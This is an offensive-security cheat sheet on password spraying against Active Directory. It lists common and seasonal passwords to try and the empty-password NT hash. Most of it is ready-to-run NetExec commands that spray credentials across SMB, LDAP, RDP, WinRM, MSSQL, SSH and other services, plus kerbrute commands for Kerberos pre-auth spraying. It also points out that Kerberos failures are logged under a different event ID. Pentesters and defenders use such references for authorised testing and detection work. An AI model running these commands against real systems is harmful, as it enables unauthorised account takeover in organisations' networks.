Password - Spraying
Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.
The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.
Most of the time the best passwords to spray are :
- Passwords:
P@ssw0rd01
,Password123
,Password1
, - Common password:
Welcome1
/Welcome01
,Hello123
,mimikatz
- $Companyname1:
$Microsoft1
- SeasonYear:
Winter2019*
,Spring2020!
,Summer2018?
,Summer2020
,July2020!
- Default AD password with simple mutations such as number-1, special character iteration (
*
,?
,!
,#
) - Empty Password: NT hash is
31d6cfe0d16ae931b73c59d7e0c089c0
be careful with the account lockout !
Spray a pre-generated passwords list
-
Using Pennyw0rth/NetExec
nxc smb 10.0.0.1 -u /path/to/users.txt -p Password123 nxc smb 10.0.0.1 -u Administrator -p /path/to/passwords.txt nxc smb targets.txt -u Administrator -p Password123 -d domain.local nxc ldap targets.txt -u Administrator -p Password123 -d domain.local nxc rdp targets.txt -u Administrator -p Password123 -d domain.local nxc winrm targets.txt -u Administrator -p Password123 -d domain.local nxc mssql targets.txt -u Administrator -p Password123 -d domain.local nxc wmi targets.txt -u Administrator -p Password123 -d domain.local nxc ssh targets.txt -u Administrator -p Password123 nxc vnc targets.txt -u Administrator -p Password123 nxc ftp targets.txt -u Administrator -p Password123 nxc nfs targets.txt -u Administrator -p Password123
-
Using hashcat/maskprocessor to generate passwords following a specific rule
-
Using dafthack/DomainPasswordSpray to spray a password against all users of a domain.
BadPwdCount attribute
The number of times the user tried to log on to the account using an incorrect password. A value of
0
indicates that the value is unknown.
$ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
LDAP 10.0.2.11 389 dc01 Guest badpwdcount: 0 pwdLastSet: <never>
LDAP 10.0.2.11 389 dc01 krbtgt badpwdcount: 0 pwdLastSet: <never>
Kerberos pre-auth bruteforcing
Using ropnop/kerbrute, a tool to perform Kerberos pre-auth bruteforcing.
Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).
- Username bruteforce
- Password bruteforce
- Password spray
./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123 ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log